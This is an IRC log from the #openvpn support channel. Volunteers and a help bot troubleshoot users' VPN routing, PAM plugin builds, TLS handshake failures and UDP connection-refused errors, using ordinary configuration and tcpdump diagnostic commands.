08:02 < Volkswagner> greetings
08:07 -!- xbanux1 [~xbanux@115.254.75.113] has quit []
08:08 -!- iliv [~iliv@109.162.124.185] has left #openvpn []
08:11 < Volkswagner> I have a working server and windows 7 client using routed tun >> config = http://pastebin.com/fCw3FNZH
08:12 < Volkswagner> I'd like to use Windows ICS to share the vpn adapter which is connecting via WiFi to the LAN port on laptop allowing ip phone connection via VPN
08:13 < Volkswagner> I have found these basic instructions http://wiki.hidemyass.com/Tutorials:Internet_Connection_Sharing_-_ICS_-_on_Windows
08:13 < Volkswagner> which I am trying to adapt to my situation
08:13 < Volkswagner> Do I need or should I setup static ip's for the ipPhone, LAN port and or WiFi adapters?
08:15 < Volkswagner> Will the OpenVPN connection allow two LAN ip's to share the clients 10.0.0.10?
08:16 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
08:16 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
08:16 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:27 -!- kubbing [~kubbing@gprs28.vodafone.cz] has joined #openvpn
08:36 -!- kubbing [~kubbing@gprs28.vodafone.cz] has quit [Read error: Connection reset by peer]
08:36 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
08:44 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
08:47 -!- kubbing_ [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
08:50 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Ping timeout: 256 seconds]
08:57 <@ecrist> Volkswagner: yes and no.  it's not a function of OpenVPN, but rather your server's firewall NAT abilities
08:58 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
08:58 < Volkswagner> ecrist, thank you... I'm not sure what you mean.
09:02 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Ping timeout: 248 seconds]
09:03 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:04 <@ecrist> Volkswagner: have you "tried" it?
09:05 <@ecrist> why not just install the iOS openvpn client?
09:06 < Volkswagner> ecrist, I have tried it over a remote connection and it broke internet
09:06 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:06 < Volkswagner> sorry, it is an ip-Phone not an iPhone
09:07 <@ecrist> ah
09:07 < Volkswagner> I did not set static ip's during the setup though
09:07 <@ecrist> it should work just fine.
09:08 <@ecrist> I have users at $work that do that same thing, only with a mac
09:08 < Volkswagner> do you know if the client connecting to the LAN port has to have a static ip with gateway set to the WiFi connection similar to how to reference above?
09:10 < Volkswagner> ecrist, the how to also seems misleading, the Author seems to have changed addresses mid stream or I'm misreading it!
09:10 <@ecrist> no, it shouldn't.  ICS should assign everything.
09:11 < Volkswagner> That's what I thought.  Perhaps it was a fluke cause by the remote sharing client (TeamViewer)
09:11 <@ecrist> Volkswagner: really, this isn't so much an openvpn question as a windows question, though
09:12 <@ecrist> someone with more windows knowledge would likely be able to better assist you
09:12 < Volkswagner> OK, ecrist. you did answer my question as I need to know if it should work.
09:12 < Volkswagner> Thank you!
09:12 <@ecrist> no problem.
09:23 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 252 seconds]
09:23 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Ping timeout: 260 seconds]
09:45 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
09:45 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:47 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
09:49 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
09:56 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
09:58 -!- Slippern [slippern@server02.hjemmeserver.info] has quit [Ping timeout: 240 seconds]
09:58 < Pei> Hi guys, is it possible that with two servers using the same exact ca.crt, ca.key, and server.crt, server.key would allow clients that have a cert and key on one server but not on the other have access to other server?
09:59 < Pei> cuz that's how my server is behaving :)
09:59 -!- Slippern [slippern@server02.hjemmeserver.info] has joined #openvpn
10:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds]
10:02 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
10:02 -!- mode/#openvpn [+o dazo] by ChanServ
10:04 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
10:06 -!- raidz_away is now known as raidz
10:16 -!- Inst [~Sun@unaffiliated/inst] has joined #openvpn
10:16 < Inst> do you know how to improve VPN performance?
10:16 < Inst> my VPS has a 100 mbps pipe, but i'm only getting like 4 kBps with web browsing on my client
10:20 -!- ThePortableInstr [~Sun@cpe-74-73-8-247.nyc.res.rr.com] has joined #openvpn
10:23 -!- Inst [~Sun@unaffiliated/inst] has quit [Ping timeout: 260 seconds]
10:24 -!- ThePortableInstr is now known as Inst
10:24 <@ecrist> Inst: we need to know more than that
10:24 <@ecrist> TCP or UDP?
10:24 -!- Inst is now known as Guest29193
10:25 <@ecrist> Pei: is the time set correctly on both servers?
10:25 -!- Guest29193 [~Sun@cpe-74-73-8-247.nyc.res.rr.com] has quit [Read error: Connection reset by peer]
10:26 -!- Guest29193 [~Sun@cpe-74-73-8-247.nyc.res.rr.com] has joined #openvpn
10:26 < Pei> yes, on both servers the time is governed by ntpd
10:26 -!- erre [~erre@159.85-87-168.dynamic.clientes.euskaltel.es] has joined #openvpn
10:34 -!- kubbing_ [~kubbing@u154-30.static.grapesc.cz] has quit [Remote host closed the connection]
10:42 -!- erre [~erre@159.85-87-168.dynamic.clientes.euskaltel.es] has quit [Quit: leaving]
10:48 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
10:48 < Assid> heya
10:49 -!- dazo is now known as dazo_afk
10:55 -!- Assid [~kvirc@unaffiliated/assid] has quit [Read error: Connection reset by peer]
10:56 -!- Assid [~kvirc@59.164.39.165] has joined #openvpn
10:56 -!- Assid [~kvirc@59.164.39.165] has quit [Changing host]
10:56 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
10:58 -!- DrFoo [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has joined #openvpn
10:58 -!- Assid [~kvirc@unaffiliated/assid] has quit [Read error: Connection reset by peer]
10:58 < DrFoo> can I change the filename of the cert/key without issue?
10:59 -!- Assid [~kvirc@triband-mum-59.183.154.91.mtnl.net.in] has joined #openvpn
10:59 -!- Assid [~kvirc@triband-mum-59.183.154.91.mtnl.net.in] has quit [Changing host]
10:59 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
10:59 -!- Assid [~kvirc@unaffiliated/assid] has quit [Read error: Connection reset by peer]
11:07 -!- cruxeternus [cruxtech@secspeed.com] has joined #openvpn
11:09 < cruxeternus> Is it possible to have Windows (7) machines use Windows Domain Login through an OpenVPN tunnel?  If so, can someone link me to a tutorial or howto?
11:10 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:10 < cruxeternus> Using a Samba PDC, in my case.
11:10 < cruxeternus> But any general information would be appreciated. :)
11:12 < Volkswagner> cruxeternus, perhaps OpenLDAP + OpenVPN search will help.
11:12 < Pei> HEEHE
11:12 < cruxeternus> Ah, I will try that.  Thanks. :)
11:15 < Volkswagner> DrFoo, I'm no expert but since the filenames are directly referenced in the config files, there should be no problem, provided you update config files on server and clients to match
11:23 < WarDriver> !route
11:23 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
11:23 <@vpnHelper> behind the server or client
11:25 < WarDriver> !clientlan
11:25 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
11:25 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
11:25 < Volkswagner> WarDriver, is that for me?
11:26 < WarDriver> nope
11:26 < WarDriver> I was just looking for the flowchart...
11:26 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
11:27 -!- jbartus [~ec2-user@ec2-75-101-242-179.compute-1.amazonaws.com] has joined #openvpn
11:27 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
11:27 < WarDriver> but thats not what I needed...
11:28 < jbartus> hi guys, i did a yum update of openvpn (from EPEL) this morning and it broke my pam auth
11:28 < Volkswagner> !ipforward
11:28 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
11:28 < jbartus> specifically, it deleted the openvpm-auth-pam.so i had
11:28 < jbartus> how do i build that again?
11:28 < jbartus> the readme says this:
11:28 < jbartus> To build openvpn-auth-pam, you will need to have the pam-devel
11:28 < jbartus> package installed.
11:28 < jbartus> Build with the "make" command.  The module will be named
11:28 < jbartus> openvpn-auth-pam.so
11:28 < jbartus> i've installed pam-devel
11:28 < jbartus> but now what?
11:28 < WarDriver> !linipforward
11:29 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
11:29 < WarDriver> hum... I can't seem to forwarde stuff from my lan to my tun...
11:29 < WarDriver> nah thats wrong...
11:30 < WarDriver> I just can't find my client
11:30 < Volkswagner> !winipforward
11:30 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
11:30 -!- gerg [~gerg@p4FC28A7A.dip0.t-ipconnect.de] has joined #openvpn
11:34 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:34 < gerg> is it possible to bridge to a network x with my router as client and route/access this network  from my internal network y (bridge two different subnets)
11:35 < pekster> jbartus: Are you building from source? If you used a pre-packaged RPM, you get whatever the maintainer of that package prepared for you. When building from source, if you use enable_plugins and enable_plugin_auth_pam during the configure phase, the openvpn pam plugin gets installed to the dir specified by --libdir, defaulting to EPREFIX/lib
11:35 < pekster> It's the default to build those on Linux where PAM is availble unless you opt to specifically exclude them
11:35 < jbartus> pekster: i'm working with the source now but every time i google any of the related keywords all i get is what i pasted above
11:36 < pekster> So build in "the ususal" way for GNU make. ./configure --any-optional-stuff-you-want && make && sudo make install
11:37 < jbartus> well i have to build it on a throwaway box and then package it up
11:37 < jbartus> production env
11:37 -!- Guest29193 [~Sun@cpe-74-73-8-247.nyc.res.rr.com] has left #openvpn []
11:37 < pekster> Note that such installations will be managed outside your distro's package management system. If you wanted a distro package, you should use your distro tools to build deployable packages
11:37 < jbartus> right
11:38 < jbartus> so what i'm hearing is "download the source, cd into it, run ./configure, play whack-a-mole with dependancies for 20 minutes, run 'make', find the .so and copy it off"
11:39 < pekster> gerg: One does not bridge "different" subnets (then they're no longer different.) You want routing if you wish to transport IP packets between two unique networks
11:39 < pekster> If you'd like, sure. Better would be to get an SRPM and fix the upstream build problem
11:39 < jbartus> actually good point
11:40 < pekster> Maybe the plugin moved? Or did RHEL or whoever actually build without the plugin? You have to *ask* openvpn to do that during the ./configure phase as I noted above
11:40 < jbartus> why is this broken in fedora, there have to be thousands of fedora openvpn users
11:41 < pekster> Many of them likely don't use the PAM plugin (especially if they're just acting as clients, not servers doing authentication.) Regardless, it should be easy to get an SRPM and run 'rpmbuild' yourself after adjusting the spec file
11:41 < jbartus> oh, wait i mmissued where you said i have to tell configure to do it
11:41 < jbartus> whats the flag?
11:41 < jbartus> or better, how would i have found any of this reading docs
11:41 < pekster> No. You hae to tell it *not* to build it. `./configure --help` would be a good place to start
11:42 < jbartus> weird, ok i'll dig up the .spec
11:45 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
11:45 < jbartus> http://pkgs.fedoraproject.org/cgit/openvpn.git/tree/openvpn.spec#n87  <-- hmmm
11:45 <@vpnHelper> Title: openvpn.git - openvpn (at pkgs.fedoraproject.org)
11:47 < jbartus> it exceeds my git-fu to figure out when that changed
11:49 < pekster> Looks like they already are building with the PAM auth plugin (that's what --enable-plugin-auth-pam does)
11:51 < jbartus> yea i'm thinking maybe its the actual bundling process thats falling down
11:51 < jbartus> since its not even installing a plugins directory
11:51 < pekster> It goes in EPREFIX/lib
11:51 < pekster> Did you check that in your OS? That would be /usr/lib/openvpn/ unless changed
11:52 < jbartus> well, officially not an openvpn problem so thanks for your help, i'll go poke around #fedora
11:52 < jbartus> [root@backdoor ~]# rpm -ql openvpn | grep lib | wc -l
11:52 < jbartus> 0
11:52 -!- ManDay [~ManDay@p4FEBF7FC.dip0.t-ipconnect.de] has joined #openvpn
11:53 < ManDay> Why do I get this: http://pastie.org/7948716
11:54 < ManDay> And afterwards, nothing works, I can only ping 137.226.96.1
11:54 < ManDay> If I try to ping anything else I get "From 137.226.96.26: icmp_seq=1 Destination Host Unreachable"
11:54 < ManDay> Here is the output from "ip route"
11:54 < ManDay> http://pastie.org/7948691
11:54 < ManDay> And ifconfig: inet 137.226.96.26  netmask 255.255.252.0  broadcast 137.226.99.255
11:57 -!- JAVACODER [~JAVACODER@2.190.38.242] has quit [Read error: Connection reset by peer]
12:00 -!- gerg [~gerg@p4FC28A7A.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
12:00 -!- johnfg [~johnfg@host-184-166-136-254.bzm-mt.client.bresnan.net] has joined #openvpn
12:00 < johnfg> hi folks
12:00 -!- ManDay [~ManDay@p4FEBF7FC.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
12:01 < johnfg> In configuring openssh for kerberos/gssapi login, I added a line to /etc/hosts: 10.8.0.6  host.domain.name host.
12:01 < johnfg> After doing that, TLS handshake failed, and I didn't have my tun!
12:02 < johnfg> the kerberos/gssapi didn't work properly without the entry in /etc/hosts, but I need the vpn.  Is there a workaround for this?
12:03 <@ecrist> that shouldn't affect openvpn
12:03 <@ecrist> rather, your problem isn't openvpn, but your /etc/hosts config
12:04 <@ecrist> johnfg: ^^
12:04 -!- jbartus [~ec2-user@ec2-75-101-242-179.compute-1.amazonaws.com] has left #openvpn []
12:04 -!- mattock is now known as mattock_afk
12:06 -!- JAVACODER [~JAVACODER@2.190.38.242] has joined #openvpn
12:07 < johnfg> ecrist: Ya, I didn't think the problem was openvpn, but thought that you might have come across this before.
12:08 < johnfg> ecrist: All I added on /etc/hosts, on the openvpn server, was: 10.8.0.6    churchmusic.spirit.org  churchmusic.
12:08 < WarDriver> how do I forward stuff from my lan to my vpn using iptables
12:08 -!- mattock_afk is now known as mattock
12:09 < johnfg> Why would that make the TLS handshake fail?
12:25 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:28 <@ecrist> johnfg: not sure, offhand
12:28 <@ecrist> if you remove it, does it work again?
12:29 <@ecrist> WarDriver: we don't really do firewall support here.  better off checking with the right channel
12:29 < WarDriver> yeah irk...
12:32 < johnfg> ecrist: ya, all's working right, and I can ssh in, but can't do the kerberos/gssapi ticket login.
12:33 < johnfg> What other channel would you suggest?
12:42 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
12:44 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:47 < pekster> johnfg: How exactly is the openvpn TLS handshake failing? Logs from both sides would be a good start. TLS doesn't care about hostname or DNS, so that "shouldn't" be a factor
12:50 < DrFoo> where are the logs for the client?
12:53 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 245 seconds]
12:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:07 < johnfg> I'll get it for you in a few, pekster.
13:12 -!- Slippern [slippern@server02.hjemmeserver.info] has quit [Ping timeout: 240 seconds]
13:20 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
13:25 <@ecrist> DrFoo: wherever you put them.
13:25 <@ecrist> !logs
13:25 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:25 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
13:25 < Assid> ok. so im gonna try and convert one of my tunnels from tcp -> udp.. this should make my vpn quicker rihgt?
13:26 <@ecrist> maybe
13:26 <@ecrist> !tcp
13:26 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
13:27 -!- Assid [~kvirc@unaffiliated/assid] has quit [Read error: Connection reset by peer]
13:28 -!- Assid [~kvirc@59.164.39.165] has joined #openvpn
13:28 -!- Assid [~kvirc@59.164.39.165] has quit [Changing host]
13:28 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
13:29 < Assid> my hmm.. my udp doesnt wanna connect
13:30 < Assid> keep running into this :  read UDPv4 [ECONNREFUSED]: Connection refused (code=111) and   TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
13:30 <@ecrist> Assid: you need BOTH sides to be proto udp
13:30 <@ecrist> not just one side
13:30 -!- Sarah is now known as Aster
13:31 -!- Aster [~Sarah@astersoftworks.com] has quit [Changing host]
13:31 -!- Aster [~Sarah@april-fools/ninth/aster] has joined #openvpn
13:34 -!- Assid [~kvirc@unaffiliated/assid] has quit [Ping timeout: 248 seconds]
13:39 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
13:40 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
13:44 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
13:44 < Assid> hmm
13:44 < Assid> weird.. im having issues if i simply change from tcp->udp
13:44 < Assid> read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
13:44 < Assid> lots of TLS errors
13:45 < pekster> Same as above? If it's ECONNREFUSED, then your remote host is replying and is refusing to talk to your host
13:45 <@ecrist> Assid: you need to have both ends configured for udp
13:45 <@ecrist> not just the client ent
13:45 <@ecrist> end*
13:46 < Assid> ecrist: i did..
13:46 <@ecrist> did you restart the server, and make sure your firewall allows connections in to UDP 1194?
13:46 < Assid> TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
13:46 < Assid> im using aa different port.. and yes.. there are no ports blocked
13:46 < Assid> i restarted the server service
13:47 < Assid> maybe thats due to the other client devices.. still trying tcp
13:47 < Assid> i.e. the code=111
13:47 < pekster> Either the client-initiated packets aren't arriving, or the server isn't sending a reply that gets to the client. Do the usual troubleshooting steps: first check the logs on the server to see if it gets the initial packet. If not, see if the packet even arrives (tcpdump or the like)
13:47 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
13:48 < Assid> pekster: yes..initial packet arrives  TLS: Initial packet from [AF_INET]59.183.x.x:58251, sid=2bc043dc 02b29561
13:49 < Assid> wait.. i do have a load balancer
13:50 < pekster> That's from the server? You might try using --verb 5 on the client: look for the W and R characters: W is openvpn sending a UDP (tunneled) packet, and R is it receiving one. If you see W's but no R's, then that end is sending but never getting any traffic back
13:50 -!- Assid [~kvirc@unaffiliated/assid] has quit [Read error: Connection reset by peer]
13:50 -!- Slippern [slippern@server02.hjemmeserver.info] has joined #openvpn
13:51 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
13:51 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
13:51 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
13:51 < Assid> nope.. disabling my second connection didnt help
13:52 < pekster> (repaste) That's from the server? You might try using --verb 5 on the client: look for the W and R characters: W is openvpn sending a UDP (tunneled) packet, and R is it receiving one. If you see W's but no R's, then that end is sending but never getting any traffic back
13:53 < pekster> It's almost always a firewall problem, or some other reason (missing --tls-auth in the packet, for instnace) that would be noted in the server log
13:54 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Client Quit]
13:54 < Assid> http://pastebin.com/iC8LZ4VZ
13:54 < johnfg> Here are the relevant lines from /var/log/messages http://bpaste.net/show/rzzux22NtOb9z7m9ORmO/
13:55 -!- Devastator [~devas@177.18.198.101] has quit [Read error: Connection reset by peer]
13:55 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
13:56 < Assid> pekster: interestingly.. it works.. if its tcp
13:56 < pekster> Assid: My suggestion to you hasn't changed. You get "a packet" but no more in the logs. Use --verb 5 and watch packet traffic through a capture tool like tcpdump.
13:56 < Assid> ive enabled verb5 in the config of the server
13:56 < Assid> thats how i got what i showed you
13:57 -!- Devastator [~devas@177.18.198.101] has joined #openvpn
13:57 < johnfg> pekster: did you see earlier what I discussed?  I don't believe this is an openvpn problem, per se, but when I had this client in /etc/hosts, the tun was down, and I was getting those errors.
13:57 < pekster> Assid: There's no 'W' printed -- it's not sending a reply back, apparently
13:58 < Assid> hold on.. adding to client as well
13:58 < pekster> johnfg: You're missing server logs
13:58 < Assid> http://pastebin.com/dBf0A0pL
13:59 < Assid> it could be the other clients connecting into it on tcp ???
13:59 < pekster> johnfg: And hang on, why are you trying to reach the *server* over 10.8.0.1? Are you using that as your VPN range? If so, you can't do that...
14:00 < johnfg> pekster: server is 10.8.0.1, this machine I'm on 10.8.0.6, win7 machines are 10.8.0.10 and 10.8.0.14.
14:00 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Remote host closed the connection]
14:00 < pekster> Assid: Line 14-18: looks like your local firewall is refusing the packet write (or possibly the remote end is refusing it)
14:00 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
14:01 < pekster> johnfg: Paste both your configs please. It is invalid to use --remote 10.8.0.1 if your VPN network is using that same network/range
14:01 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Read error: Connection reset by peer]
14:01 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
14:01 < pekster> --remote needs the IP/host you are *contacting* your server on outside the VPN, not the VPN address (which you don't know in a server/client setup until *after* you connect)
14:02 < johnfg> pekster: K, just a sec...
14:03 < Assid> pekster: nothing should be blocking it.. the router is connecting out directly
14:03 < pekster> Assid: Well, that's up to you to figure out. I've told you what causes that error, now you should go figure out why you're getting a 'Connection refused' message
14:04 < pekster> For the 3rd time, tcpdump on first the server's external interface, then the client's should provide clues
14:04 < johnfg>  http://bpaste.net/show/101389/ here's the client.
14:04 < Assid> yeah.. will try that.
14:04 < pekster> Something to the tune of `tcpdump -pnvi ethWhatever udp port 1194` should get you started
14:05 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
14:06 < pekster> In the future, please strip blanks/comments as it makes configs much easier to read (handy grep syntax to do that in !configs)
14:06 < Assid> i can listen on the tun interface as well right ?
14:07 < pekster> Assid: Sure, but it won't matter until the VPN is up. TLS occurs over the outside socket, not the inside one
14:08 < pekster> Until the VPN is "up" you don't have a working tun connection between peers
14:10 < johnfg>  http://bpaste.net/show/101394/ here's the server.
14:10 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
14:10 < pekster> johnfg: So you have a problem. Your client is attempting to reach your server on 10.8.0.1, but that's invalid becuase it can't reach it on that IP until after the VPN is already up
14:11 < Assid> http://pastebin.com/QGHbsFbK
14:11 < pekster> johnfg: ie: line 3 at http://bpaste.net/show/rzzux22NtOb9z7m9ORmO/ shows the client trying to *reach* the server on an IP it can't route to
14:11 < Assid> yeah.. it keeps sending data to the client.. but doesnt receive anything bac
14:12 -!- novaflash is now known as novaflash_away
14:12 < pekster> Assid: So you *do* see packets leaving the external interface of the server in tcpdump, but don't doing a tcpdump on the client's external interface?
14:13 < Assid> i see 00:42:54.408187 IP (tos 0x0, ttl 55, id 0, offset 0, flags [DF], proto UDP (17), length 78) when i get error=111 on the server
14:13 < johnfg> pekster: And that was because of the /etc/hosts thing.  I'll check the logs on the server, but it will have to be later.  Gotta run, but thanks for helping.
14:14 < pekster> You said you edited hosts on the sever; this would be on the client
14:14 < pekster> If you abuse DNS like that, expect these kinds of problems
14:14 -!- novaflash_away is now known as novaflash
14:15 < Assid> http://pastebin.com/pDcQNqS1
14:15 < pekster> Assid: Client (or something upstream of it) could be sending back an ICMP-host-unreach (or port-unreach) or similar. try `tcpdump -pnvi ethExternal icmp` on the server
14:15 < Assid> pekster: yeah i think so..
14:15 < Assid> pekster: the router has a modem in front of it.. which is a nat'd environment
14:16 < pekster> OpenVPN works through properly configured stateful NAT firewalls that are smart enough to allow the return traffic in
14:16 < Assid> hrmm its a standard netgear modem.. i'd think it would be stateful
14:16 < Assid> netgead dg834g
14:17 < pekster> Something is geneating the refusal, and in UDP the only option is ICMP. Perhaps a better filter would be `tcpdmp -pnvi ethExt udp port 1194 or icmp`
14:17 < pekster> (well, or a local firewall that generates such a message before the packet is even sent to the network stack)
14:18 < Assid> you want me to run that on the server ?
14:18 < pekster> Right. Looks like udp port 10651 in your environment
14:19 < pekster> You can at least see what claims to be the source IP of the system refusing the traffic (it'll be an ICMP error generated by the outbound UDP packet)
14:20 < Assid> hmm traffic from all sorts of locations pinging me :D
14:21 < pekster> You could add `... and icmp[icmptype] != icmp-echo and icmp[icmptype != icmp-echoreply` if you want. `man tcpdump` for all the details
14:21 < Assid> http://pastebin.com/MVsey8PN
14:21 < Assid> there
14:21 < Assid> im the 59.x...
14:22 < Assid> line 10
14:22 < pekster> 59.x.x.x > 5.153.1.74: ICMP 59.x.x.x udp port 52629 unreachable
14:22 < pekster> Yea
14:22 < pekster> Hiding IPs doesn't really help me give you any hints as to what device it is (client or something upstream) but that's the cause
14:22 < pekster> It's being *actively* rejected
14:23 < Assid> but i have DMZ active..
14:23 < Assid> pekster: its not you im worried about.. this isnt 1:1 chat :P
14:24 < pekster> Well, your IP is plastered all over your parts/joins
14:25 < pekster> Hiding it in your logs does nothing but hide details. Presumably you can figure out what they mean yourself
14:25 < pekster> Partly relevant:
14:25 < pekster> !topsecret
14:25 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
14:26 < Assid> my modem has an option in nat (enable/disable/disable firewall)
14:26 < pekster> Anyway, "59.x.x.x" (whoever that is) is refusing your connections. Since that includes about 16.7 million possible IPs, "one of them" is refusing it
14:26 < pekster> Yea, I'm not going to help troubleshoot your modem
14:26 < Assid> hahha
14:26 < Assid> thinking if i disable the firewall ; would simple nat work
14:26 < pekster> Your problem is that an IP is refusing to pass/accept that packet. You should consult the documentation for the device in question and make it suck less
14:28 < pekster> Better yet, replace it with real hardware that lets you diretly control what happens so you don't need a "DMZ" feature, which has to be one of the most poorly named SOHO buzwords ever to be created
14:31 < pekster> !learn dmz as Low end SOHO routers sometimes have a "DMZ" feature. This does NOT magically give your internal host a public IP, but is a form of "fallthrough NAT." Such features may or may not operate as expected depending on the device; consult its documentation, not here, for details.
14:31 <@vpnHelper> Joo got it.
14:31 -!- Assid [~kvirc@unaffiliated/assid] has quit [Ping timeout: 248 seconds]
14:39 < Eugene> lol dmz.
14:40  * pekster sends Eugene's packets to the tense military zone between Syria and Turkey
14:41  * Eugene vomits on pekster
14:41 < Eugene> And it's lower case today
14:44 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:45 < pekster> It's a crappy term anyway. It either means "murky and undefined NAT behaviour that GUIs and salesboxes use" or "network treated differently by a firewall in a corporate environment." Both of which are an awful use of DMZ
14:56 -!- mattock is now known as mattock_afk
15:03 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
15:04 -!- matsh [divine@nanogene.org] has joined #openvpn
15:05 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:14 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
15:26 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:28 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Remote host closed the connection]
15:29 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
15:32 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Remote host closed the connection]
16:11 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
